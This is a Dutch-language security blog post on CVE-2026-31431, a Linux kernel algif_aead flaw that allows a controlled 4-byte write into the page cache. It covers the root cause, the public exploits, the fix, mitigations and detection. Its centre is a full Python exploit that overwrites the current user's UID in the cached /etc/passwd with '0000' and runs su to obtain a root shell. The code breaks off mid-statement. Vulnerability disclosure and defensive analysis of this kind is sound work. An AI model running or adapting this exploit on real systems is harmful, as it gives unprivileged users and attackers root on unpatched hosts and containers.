Dutch
English
cve-2026-31431
rce

CVE-2026-31431, Linux algif_aead page-cache write naar root

Joel Aviad Ossi
30 April, 2026

CVE-2026-31431 banner

CVE-2026-31431, Linux algif_aead page-cache write naar root

Disclaimer

Dit artikel en de broncode zijn uitsluitend bedoeld voor educatieve en beveiligingsonderzoeksdoeleinden. Misbruik voor kwaadwillige doeleinden, waaronder ongeautoriseerde systeemtoegang of malwareontwikkeling, is uitdrukkelijk verboden. Door dit materiaal te gebruiken gaat u akkoord met onze Algemene Voorwaarden. Al het gebruik is op eigen risico.

Samenvatting

CVE-2026-31431 is een ernstige kwetsbaarheid in de Linux-kernel met een CVSS-score van 7.8. Het probleem werd verholpen door algif_aead terug te zetten naar out-of-place-bewerking. Het wijzigingslogboek van de kernel beschrijft de fix bondig: er was geen voordeel bij het in-place opereren in algif_aead omdat de bron en bestemming afkomstig waren van verschillende mappings, waardoor de toegevoegde in-place-complexiteit werd verwijderd en het kopiëren van bijbehorende gegevens werd behouden.

Publieke technische analyses en exploitmateriaal tonen aan dat het kwetsbare pad bereikbaar is vanuit onbevoegde userspace via AF_ALG en splice(). Het gepubliceerde exploitpad richt zich op de page cache van leesbare bestanden en demonstreert lokale privilege-escalatie naar root door ofwel /usr/bin/su ofwel /etc/passwd in het geheugen te corrumperen, zonder het bestand op schijf te wijzigen. Het praktische resultaat is een betrouwbare lokale privilege-escalatie-primitieve op getroffen kernels.

Voor verdedigers is het kernpunt eenvoudig: als een systeem een kernel draait binnen het getroffen bereik en het AF_ALG AEAD-pad blootstelt aan onbevoegde gebruikers, moet patching als urgent worden behandeld. Wanneer onmiddellijk patchen niet mogelijk is, vermindert het uitschakelen van algif_aead of het blokkeren van AF_ALG-socketcreatie voor niet-vertrouwde workloads de blootstelling aanzienlijk.

Overzicht van de kwetsbaarheid

  • CVE: CVE-2026-31431
  • Ernst: Hoog
  • CVSS: 7.8
  • Leverancier: Linux
  • Product: Linux-kernel
  • Getroffen gebied: crypto: algif_aead
  • Bugfamilie: lokale privilege-escalatie, waarbij in publieke discussie ook wordt gesproken over een container-escape-primitieve omdat de page cache gedeeld wordt over de gehele host
  • Fixthema: algif_aead terugzetten van in-place naar out-of-place-bewerking

De informatie over getroffen versies koppelt het kwetsbare venster aan commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 en vermeldt fixes op meerdere onderhouden branches, waaronder 893d22e0135fa394db81df88697fba6032747667, 19d43105a97be0810edbda875f2cd03f30dc130c, 961cfa271a918ad4ae452420e7c303149002875b, 3115af9644c342b356f3f07a4dd1c8905cd9a6fc, 8b88d99341f139e23bdeb1027a2a3ae10d341d82, fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8, ce42ee423e58dffa5ec03524054c9d8bfd4f6237, en a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5.

De versiebereiken identificeren ook niet-getroffen stabiele releases, waaronder 5.10.254, 5.15.204, 6.1.170, 6.6.137, 6.12.85, 6.18.22, 6.19.12, en later.

Waarom deze CVE ertoe doet

Deze bug is belangrijk omdat het publieke exploitpad ongewoon direct is voor een Linux lokale privilege-escalatie. Het gepubliceerde onderzoek beschrijft het als een rechtlijnige logicafout in plaats van een race condition. De exploitketen is niet afhankelijk van distributiespecifieke kernel-offsets, en de publieke demonstraties beweren dat dezelfde compacte Python-exploit werkt op meerdere grote Linux-distributies.

De operationele impact is breder dan een normale single-host LPE. De publieke beschrijving stelt dat de page cache gedeeld wordt over de gehele host, wat betekent dat een page-cache-corruptie-primitieve andere uitvoeringscontexten kan beïnvloeden die afhankelijk zijn van dezelfde gecachte bestandspagina's. Dat is de reden waarom het publieke onderzoek het probleem expliciet niet alleen als lokale privilege-escalatie beschrijft, maar ook als een cross-container en Kubernetes-node-compromis-primitieve.

Zelfs als een omgeving niet multi-tenant is, heeft de bug nog steeds ernstige post-compromis-waarde. Elk voetpunt dat landt als een onbevoegde lokale gebruiker, zoals een serviceaccount bereikt via applicatiecompromis of een CI-runner die niet-vertrouwde code uitvoert, kan potentieel worden geëscaleerd naar root op een getroffen kernel.

Technische oorzaak

De publieke technische beschrijving schrijft de oorzaak toe aan de interactie tussen drie elementen:

  1. AF_ALG, dat het kernel crypto-subsysteem blootstelt aan userspace.
  2. splice(), dat page-cache-backed bestandsgegevens per referentie kan doorgeven.
  3. Het authencesn AEAD-template, dat een 4-byte scratch-schrijfbewerking uitvoert voorbij het legitieme uitvoergebied tijdens decryptie.

Volgens de gepubliceerde analyse kan splice() referenties naar page-cache-pagina's van een leesbaar bestand verplaatsen naar de crypto-input-scatterlist. In het kwetsbare algif_aead-ontwerp werd decryptie in-place uitgevoerd. De implementatie kopieerde bepaalde gegevens naar de ontvangstbuffer, maar koppelde de authenticatietagpagina's per referentie en stelde vervolgens de aanvraagbron en -bestemming in op dezelfde scatterlist.

Dat ontwerp wordt gevaarlijk in combinatie met authencesn. De publieke oorzaakanalyse stelt dat authencesn de bestemmingsbuffer van de aanroeper gebruikt als scratchruimte en 4 bytes schrijft op dst[assoclen + cryptlen]. In het kwetsbare in-place-pad kan die schrijfbewerking de beoogde uitvoergrens overschrijden en terechtkomen in gekoppelde page-cache-pagina's afkomstig van het gesplicete bestand.

De gepubliceerde verklaring is dat dit een gecontroleerde 4-byte schrijfbewerking in de page cache van elk leesbaar bestand creëert. De schrijfbewerking is tijdelijk in die zin dat het de in-geheugen gecachte pagina beïnvloedt in plaats van het bestand op schijf, maar het is onmiddellijk betekenisvol omdat read(), execve(), en gerelateerde bestandstoegangspaden de inhoud van de page cache kunnen consumeren.

De fix sluit aan bij die oorzaak. Het kernelfixbericht zegt dat algif_aead moet terugkeren naar out-of-place-bewerking omdat bron en bestemming afkomstig zijn van verschillende mappings. De langere publieke analyse van commit a664bf3d603d verklaart het praktische effect: page-cache-backed bronpagina's blijven in de bronscatterlist, terwijl schrijfbewerkingen beperkt blijven tot de bestemmingsbuffer. Dat verwijdert de voorwaarde waarbij page-cache-pagina's in een beschrijfbare bestemmingsketen terecht kunnen komen.

Exploitatiepad

Twee publieke exploitstrategieën zijn bijzonder relevant.

Strategie 1, patchen van /usr/bin/su in page cache

De compacte exploit gepubliceerd door theori bindt een AF_ALG-socket aan:

("aead", "authencesn(hmac(sha256),cbc(aes))")

Vervolgens wordt sendmsg() gebruikt om door de aanvaller gecontroleerde bijbehorende gegevens aan te leveren en splice() om gegevens van /usr/bin/su naar het cryptopad te verplaatsen. Het script itereert over een gecomprimeerde payload in 4-byte chunks en roept de primitieve herhaaldelijk aan voordat het uiteindelijk uitvoert:

g.system("su")

De publieke beschrijving omschrijft dit als een page-cache-overschrijving van een setuid-root binary, gevolgd door uitvoering van het gewijzigde gecachte image om een root-shell te verkrijgen. De exacte payloadlogica is compact en sterk geoptimaliseerd in het gepubliceerde script, maar het pad op hoog niveau is duidelijk: AF_ALG plus splice() wordt gebruikt om file-backed pagina's in de kwetsbare cryptostroom te plaatsen, en herhaalde 4-byte schrijfbewerkingen worden gebruikt om /usr/bin/su in het geheugen te wijzigen.

Strategie 2, patchen van /etc/passwd in page cache

Een tweede publieke exploit door rootsecdev demonstreert dezelfde primitieve tegen /etc/passwd. Dat script documenteert zijn eigen strategie in codecommentaar: het lokaliseert het 4-cijferige UID-veld van de huidige gebruiker in /etc/passwd, overschrijft die vier bytes in de page cache met 0000, verifieert de wijziging via een verse leesbewerking, en roept vervolgens su <gebruiker> aan.

De logica is eenvoudig:

  • open een AF_ALG AEAD-socket gebonden aan authencesn(hmac(sha256),cbc(aes))
  • stel de AEAD-parameters en het sleutelmateriaal in
  • verzend AAD waarbij bytes 4 tot en met 7 de door de aanvaller gecontroleerde 4-byte waarde bevatten
  • splice() 32 bytes van het doelbestand naar een pipe, daarna van de pipe naar de cryptosocket
  • activeer het decryptiepad met recv()
  • vertrouw op de 4-byte scratch-schrijfbewerking om in de page cache te landen op de gekozen bestandsoffset

De rootsecdev-code gebruikt expliciet /etc/passwd en verklaart de verwachte postcondity: getpwnam() zou de gebruiker moeten waarnemen als UID 0, waarna su <gebruiker> de aanroeper in een root-shell kan plaatsen terwijl het echte wachtwoord nog steeds wordt gevalideerd tegen /etc/shadow.

Deze tweede exploit is nuttig voor verdedigers omdat het de primitieve eenvoudiger maakt om over te redeneren. Het toont aan dat het probleem niet beperkt is tot injectie van uitvoerbare code in een setuid-binary. Een gecontroleerde 4-byte page-cache-schrijfbewerking tegen een beveiligingsgevoelig leesbaar bestand kan ook voldoende zijn om een privilegegrens te overschrijden.

Reproductie- of PoC-overwegingen

De publieke exploitketen is lokaal. Het vereist code-uitvoering als een onbevoegde gebruiker op de doelhost. Het is op zichzelf geen remote code execution-bug.

De praktische vereisten die zichtbaar zijn in het gepubliceerde materiaal zijn:

  • toegang tot AF_ALG
  • beschikbaarheid van het kwetsbare AEAD-pad, specifiek authencesn(hmac(sha256),cbc(aes))
  • toegang tot splice()
  • de mogelijkheid om het doelbestand te lezen waarvan de page cache zal worden gecorrumpeerd

De publieke demonstraties gebruiken /usr/bin/su en /etc/passwd als concrete doelen. Die eindpunten zijn belangrijk omdat ze beide leesbaar zijn voor onbevoegde gebruikers en direct bruikbaar zijn voor privilege-escalatie.

WebSec PoC-opmerking

De volgende PoC Exploit door WebSec is niet getest tegen een live doelwit. Het is opgesteld door WebSec uitsluitend voor geautoriseerde validatie en documentatie.

image.webp

PoC Exploit door WebSec

De volgende Python 3 validatie-PoC is de enige WebSec PoC voor dit artikel. Het is niet getest tegen een live doelwit en is uitsluitend opgenomen voor geautoriseerd validatie-, pentest- en documentatiegebruik.

#!/usr/bin/env python3
# =============================================================================
# WebSec B.V. - Security Research PoC
# =============================================================================
# Title   : CVE-2026-31431 "Copy Fail" - algif_aead Page-Cache Write LPE
# CVE     : CVE-2026-31431
# Author  : WebSec B.V. Research Team
# Date    : 2026
# Version : 1.1
#
# IMPORTANT - READ BEFORE USE
# ---------------------------
# This code is UNTESTED and is provided for authorised security research,
# penetration testing, and vulnerability documentation purposes ONLY.
#
# You MAY ONLY run this tool on systems that you own or on systems for which
# you have received EXPLICIT WRITTEN AUTHORISATION from the system owner.
# Unauthorised use is illegal and unethical. WebSec B.V. accepts no liability
# for misuse of this code.
#
# Description
# -----------
# The 2017 algif_aead in-place optimisation (commit 72548b093ee3) chains
# page-cache pages delivered via splice() into the writable destination
# scatterlist of an AF_ALG AEAD request. The authencesn template writes
# 4 bytes (seqno_lo from the AAD) at dst[assoclen + cryptlen], crossing
# the scatterlist boundary into those page-cache pages. This gives an
# unprivileged local user a controlled 4-byte write into the page cache
# of any readable file without modifying the on-disk copy.
#
# Fix: mainline commit a664bf3d603d reverts algif_aead to out-of-place
# operation. Mitigation: rmmod algif_aead / seccomp block on AF_ALG.
#
# References
# ----------
# https://copy.fail
# https://xint.io/blog/copy-fail-linux-distributions
# https://github.com/theori-io/copy-fail-CVE-2026-31431
# https://github.com/rootsecdev/cve_2026_31431
# https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/
#
# Credits: Taeyang Lee / Xint Code (original discovery); theori-io; rootsecdev
# =============================================================================

import argparse
import errno
import os
import platform
import pwd
import socket
import struct
import sys

# ---------------------------------------------------------------------------
# AF_ALG constants (from linux/if_alg.h)
# ---------------------------------------------------------------------------
AF_ALG                = 38
SOCK_SEQPACKET        = 5
SOL_ALG               = 279
ALG_SET_KEY           = 1
ALG_SET_IV            = 2
ALG_SET_OP            = 3
ALG_SET_AEAD_ASSOCLEN = 4
ALG_OP_DECRYPT        = 0

# authencesn AEAD template that carries the scratch-write bug
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"

# rtattr type for the authenc key blob
CRYPTO_AUTHENC_KEYA_PARAM = 1

# Target file: world-readable, consulted by PAM/su, never executed directly
PASSWD_PATH = "/etc/passwd"

# Exact su binary path referenced by the public exploit
SU_PATH = "/usr/bin/su"

# Success marker emitted by the rootsecdev reference PoC
SUCCESS_MARKER = "Successful execution of 'su' command"

# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
BANNER = (
    "\n"
    "  ╔══════════════════════════════════════════════════════════════╗\n"
    "  ║  WebSec B.V. - CVE-2026-31431 'Copy Fail' Validation PoC   ║\n"
    "  ║  algif_aead page-cache 4-byte write → /etc/passwd UID=0     ║\n"
    "  ║  AUTHORISED TESTING ONLY - untested - use responsibly       ║\n"
    "  ╚══════════════════════════════════════════════════════════════╝\n"
)

# ---------------------------------------------------------------------------
# Helper: build authenc key blob (rtattr header + enc-key-len + auth + enc)
# ---------------------------------------------------------------------------
def build_authenc_keyblob(authkey, enckey):
    rta_len  = 8
    rtattr   = struct.pack("<HH", rta_len, CRYPTO_AUTHENC_KEYA_PARAM)
    keyparam = struct.pack(">I", len(enckey))
    return rtattr + keyparam + authkey + enckey

# ---------------------------------------------------------------------------
# Core primitive: write exactly 4 bytes into the page cache of target_path
# at file_offset using the authencesn scratch-write via AF_ALG + splice().
#
# Mechanism:
#   sendmsg AAD = b"\x00"*4 + four_bytes  (seqno_lo = four_bytes at AAD[4:8])
#   splice file -> pipe -> alg_fd delivers page-cache pages as ciphertext/tag
#   authencesn writes seqno_lo at dst[assoclen + cryptlen] into the chained
#   page-cache page; HMAC fails (fabricated CT) but the write persists.
# ---------------------------------------------------------------------------
def write4(target_path, file_offset, four_bytes):
    if len(four_bytes) != 4:
        raise ValueError("write4 requires exactly 4 bytes")

    fd_target = os.open(target_path, os.O_RDONLY)
    try:
        # Warm the page cache for the target region
        os.pread(fd_target, 4096, file_offset & ~0xFFF)

        master = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        try:
            master.bind(("aead", ALG_NAME))
            # Zero auth key (32 bytes HMAC-SHA256) + zero enc key (16 bytes AES)
            keyblob = build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16)
            master.setsockopt(SOL_ALG, ALG_SET_KEY, keyblob)

            op_sock, _ = master.accept()
            try:
                # AAD: SPI (4 zero bytes) || seqno_lo (our 4 payload bytes)
                aad = b"\x00" * 4 + four_bytes

                # assoclen = 8 (SPI + seqno_lo), IV = 16 zero bytes
                cmsg = [
                    (SOL_ALG, ALG_SET_OP,
                     struct.pack("I", ALG_OP_DECRYPT)),
                    (SOL_ALG, ALG_SET_IV,
                     struct.pack("I", 16) + b"\x00" * 16),
                    (SOL_ALG, ALG_SET_AEAD_ASSOCLEN,
                     struct.pack("I", 8)),
                ]
                # Send AAD with MSG_MORE so the kernel waits for the splice data
                op_sock.sendmsg([aad], cmsg, socket.MSG_MORE)

                pr, pw = os.pipe()
                try:
                    # splice: file page-cache -> pipe (32 bytes from file_offset)
                    n = os.splice(fd_target, pw, 32, offset_src=file_offset)
                    if n != 32:
                        raise RuntimeError(
                            "splice file->pipe short read: got %d" % n)
                    # splice: pipe -> alg socket (delivers page-cache pages)
                    n = os.splice(pr, op_sock.fileno(), n)
                    if n != 32:
                        raise RuntimeError(
                            "splice pipe->alg short: got %d" % n)
                finally:
                    os.close(pr)
                    os.close(pw)

                # Trigger the decrypt; HMAC will fail (fabricated CT) but
                # the 4-byte scratch write at dst[assoclen+cryptlen] persists.
                try:
                    op_sock.recv(64)
                except OSError as exc:
                    if exc.errno not in (errno.EBADMSG, errno.EINVAL,
                                         errno.ENOKEY):
                        raise
            finally:
                op_sock.close()
        finally:
            master.close()
    finally:
        os.close(fd_target)

# ---------------------------------------------------------------------------
# Locate the byte offset of the UID field for username in /etc/passwd
# Returns (offset_in_file, current_uid_string)
# ---------------------------------------------------------------------------
def find_uid_field(username):
    with open(PASSWD_PATH, "rb") as fh:
        data = fh.read()

    needle = username.encode() + b":"
    pos = 0
    while pos < len(data):
        if data[pos:pos + len(needle)] == needle:
            # line: name:x:UID:GID:...
            # skip past "name:" -> password field -> ":"
            j = pos + len(needle)
            colon1  = data.index(b":", j)
            uid_start = colon1 + 1
            uid_end   = data.index(b":", uid_start)
            return uid_start, data[uid_start:uid_end].decode("ascii")
        nl = data.find(b"\n", pos)
        if nl < 0:
            break
        pos = nl + 1

    raise LookupError("user %r not found in %s" % (username, PASSWD_PATH))

# ---------------------------------------------------------------------------
# Pre-flight checks
# ---------------------------------------------------------------------------
def preflight(username):
    print("[*] Stage 0: Pre-flight checks")

    vi = sys.version_info
    if vi < (3, 10):
        print("[!] Python 3.10+ required for os.splice(). "
              "Current: %d.%d" % (vi.major, vi.minor))
        return False
    print("[+] Python %d.%d.%d" % (vi.major, vi.minor, vi.micro))

    kver = platform.release()
    print("[+] Kernel: %s" % kver)

    # AF_ALG socket creation
    try:
        probe = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        probe.close()
        print("[+] AF_ALG socket creation: OK")
    except OSError as exc:
        print("[!] AF_ALG socket creation failed: %s" % exc)
        print("[!] algif_aead module may be absent or already mitigated.")
        return False

    # Bind to the specific AEAD template
    try:
        probe = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
        probe.bind(("aead", ALG_NAME))
        probe.close()
        print("[+] AF_ALG bind to %s: OK" % ALG_NAME)
    except OSError as exc:
        print("[!] AF_ALG bind failed: %s" % exc)
        print("[!] authencesn template unavailable or kernel already patched.")
        return False

    # Verify su binary exists at the expected path
    if not os.path.isfile(SU_PATH):
        print("[!] %s not found. Cannot proceed." % SU_PATH)
        return False
    print("[+] su binary found at %s" % SU_PATH)

    # Locate UID field
    try:
        uid_off, uid_str = find_uid_field(username)
    except LookupError as exc:
        print("[!] %s" % exc)
        return False

    print("[+] %s: user=%r UID field at offset %d = %r"
          % (PASSWD_PATH, username, uid_off, uid_str))

    if len(uid_str) != 4:
        print("[!] UID %r is %d chars; this technique requires a 4-digit UID "
              "(1000-9999)." % (uid_str, len(uid_str)))
        return False

    if os.getuid() == 0:
        print("[!] Already running as root. Nothing to do.")
        return False

    return True

# ---------------------------------------------------------------------------
# Stage 1: Canary write
# Write a sentinel value to confirm the primitive works before touching
# the UID field. We write to the UID offset (it will be overwritten in
# stage 2 anyway) and verify the page-cache reflects the write.
# ---------------------------------------------------------------------------
def canary_write(uid_off):
    print("\n[*] Stage 1: Canary write (confirming primitive)")
    print("[*] Writing b'CNAR' to offset %d" % uid_off)

    write4(PASSWD_PATH, uid_off, b"CNAR")

    with open(PASSWD_PATH, "rb") as fh:
        fh.seek(uid_off)
        landed = fh.read(4)

    print("[*] Page cache at offset %d now reads: %r" % (uid_off, landed))

    if landed == b"CNAR":
        print("[+] Canary confirmed: primitive is functional on this kernel.")
        return True
    else:
        print("[!] Canary did not land (got %r). "
              "Kernel may already be patched." % landed)
        return False

# ---------------------------------------------------------------------------
# Stage 2: Target overwrite - patch UID field to "0000"
# ---------------------------------------------------------------------------
def target_overwrite(uid_off):
    print("\n[*] Stage 2: Target overwrite - patching UID to '0000'")
    write4(PASSWD_PATH, uid_off, b"0000")

    with open(PASSWD_PATH, "rb") as fh:
        fh.seek(uid_off)
        landed = fh.read(4)

    print("[*] Page cache at offset %d now reads: %r" % (uid_off, landed))

    if landed != b"0000":
        print("[!] Patch did not land (got %r). Aborting." % landed)
        return False

    print("[+] /etc/passwd page cache: UID field is now '0000'.")
    return True

# ---------------------------------------------------------------------------
# Stage 3: Verify libc sees UID 0 for our user
# ---------------------------------------------------------------------------
def verify_libc(username):
    print("\n[*] Stage 3: Verifying libc / NSS view")
    try:
        pwent = pwd.getpwnam(username)
        print("[*] getpwnam(%r).pw_uid = %d" % (username, pwent.pw_uid))
        if pwent.pw_uid == 0:
            print("[+] libc reports UID 0 for %r - ready for su." % username)
            return True
        else:
            print("[!] libc still sees UID %d. "
                  "NSS/nscd cache may be active. "
                  "Try: nscd -i passwd  or  systemctl restart nscd"
                  % pwent.pw_uid)
            return False
    except KeyError:
        print("[!] getpwnam(%r) raised KeyError." % username)
        return False

# ---------------------------------------------------------------------------
# Stage 4: Execute /usr/bin/su to obtain root shell
# Emits the required success marker before execvp.
# ---------------------------------------------------------------------------
def exec_su(username):
    print("\n[*] Stage 4: Executing %s %s" % (SU_PATH, username))
    print("[*] Enter your own password when prompted.")
    print("[*] %s will call setuid(0) because /etc/passwd (page cache) "
          "reports UID 0 for %r." % (SU_PATH, username))
    print("[i] After obtaining root, evict the corrupted page to restore "
          "the system:")
    print("[i]   echo 3 > /proc/sys/vm/drop_caches")
    print("[i] Or simply reboot - the on-disk file is unchanged.")
    print()
    # Required success marker from the rootsecdev reference PoC
    print("[+] " + SUCCESS_MARKER)
    sys.stdout.flush()
    os.execvp(SU_PATH, [SU_PATH, username])

# ---------------------------------------------------------------------------
# Cleanup: evict the corrupted page cache entry (dry-run path)
# ---------------------------------------------------------------------------
def evict_passwd_cache():
    try:
        fd = os.open(PASSWD_PATH, os.O_RDONLY)
        try:
            os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
            print("[i] /etc/passwd page cache evicted via POSIX_FADV_DONTNEED.")
            print("[i] UID->name lookups restored to on-disk values.")
        finally:
            os.close(fd)
    except OSError as exc:
        print("[!] Page cache eviction failed: %s" % exc)
        print("[i] Reboot or run: echo 3 > /proc/sys/vm/drop_caches")

# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
def main():
    print(BANNER)

    parser = argparse.ArgumentParser(
        prog="poc_websec.py",
        description=(
            "WebSec B.V. - CVE-2026-31431 'Copy Fail' validation PoC.\n"
            "algif_aead page-cache 4-byte write primitive → /etc/passwd UID=0.\n"
            "AUTHORISED TESTING ONLY."
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "-u", "--user",
        default=None,
        help="Username to target (default: current user from $USER / whoami).",
    )
    parser.add_argument(
        "--shell",
        action="store_true",
        help=(
            "After patching /etc/passwd page cache, exec %s <user> "
            "to obtain a root shell. Without this flag the page cache "
            "is evicted after validation (safer dry-run)." % SU_PATH
        ),
    )
    parser.add_argument(
        "--skip-canary",
        action="store_true",
        help="Skip the canary write stage and proceed directly to UID patch.",
    )
    args = parser.parse_args()

    # Resolve username
    username = args.user
    if not username:
        username = os.environ.get("USER") or os.environ.get("LOGNAME")
    if not username:
        try:
            username = pwd.getpwuid(os.getuid()).pw_name
        except KeyError

MITRE ATT&CK-mapping

De meest geschikte MITRE ATT&CK-mapping voor dit probleem is:

  • Primaire tactiek: Privilege-escalatie
  • Primaire techniek: T1068, Exploitatie voor privilege-escalatie

Deze mapping past omdat de kwetsbaarheid een onbevoegde lokale gebruiker in staat stelt een kernelfout te misbruiken en rootprivileges te verkrijgen. De publieke exploitpaden eindigen beide in een escalatie van een gewone gebruikerscontext naar UID 0.

  • Secundaire tactiek: Ontsnapping naar host, post-exploitatie-interpretatie binnen gecontaineriseerde omgevingen
  • Secundaire techniek: T1611, Ontsnapping naar host

Deze secundaire mapping is passend wanneer de kwetsbare kernel gedeeld wordt door containers of pods. Het publieke onderzoek merkt expliciet op dat de page cache gedeeld wordt over de gehele host en presenteert het probleem als een container-escape-primitieve naast een lokale privilege-escalatie.

Detectie en mitigatie

Patch

De primaire remediëring is het updaten naar een kernel die de algif_aead-fix bevat. De mainline-fix waarnaar in publiek materiaal wordt verwezen is commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5, met equivalente backports over ondersteunde stabiele branches.

De fix verwijdert het kwetsbare in-place-gedrag en herstelt out-of-place-bewerking. In praktische termen voorkomt dit dat page-cache-backed bronpagina's in een beschrijfbare bestemmingsscatterlist worden geplaatst.

Tijdelijke mitigatie

De publieke mitigatierichtlijnen bevelen aan om de algif_aead-module uit te schakelen wanneer patching niet onmiddellijk kan worden uitgevoerd:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Dezelfde publieke richtlijnen bevelen ook aan om AF_ALG-socketcreatie te blokkeren via seccomp voor niet-vertrouwde workloads zoals containers, sandboxes en CI-taken.

Detectieoverwegingen

De publieke analyse benadrukt een belangrijke forensische nuance: de corruptie beïnvloedt de page cache, niet het bestand op schijf. Dat betekent dat schijfgebaseerde integriteitscontroles het probleem alleen mogelijk missen na cache-evictie of herstart. Tijdens het actieve venster kunnen leesbewerkingen die de page cache raken echter de gewijzigde inhoud waarnemen.

Operationeel gezien moeten verdedigers letten op:

  • onverwachte AF_ALG-socketcreatie door onbevoegde processen
  • ongebruikelijk gebruik van splice() in combinatie met cryptosockets
  • kortdurende anomalieën met betrekking tot /usr/bin/su, /etc/passwd, of andere leesbare geprivilegieerde doelen
  • verdachte root-transities van gewone gebruikers op systemen waar dit niet toegestaan zou moeten zijn

Vermelding

Publieke referenties schrijven de ontdekking en openbaarmaking toe aan onderzoekers geassocieerd met Theori en Xint Code. De geconsolideerde vermeldingen identificeren ook theori-io en rootsecdev als de oorspronkelijke publieke exploitreferenties.

Referenties

Authored By
Joel Aviad Ossi

Managing Director

Deel met de wereld!

Beveiligingsbehoeften?

Bent u er echt zeker van dat uw organisatie veilig is?

Bij WebSec helpen we u deze vraag te beantwoorden door geavanceerde beveiligingsbeoordelingen uit te voeren.

Wil je meer weten? Plan een gesprek in met een van onze experts.

Afspraak Inplannen
Authored By
Joel Aviad Ossi

Managing Director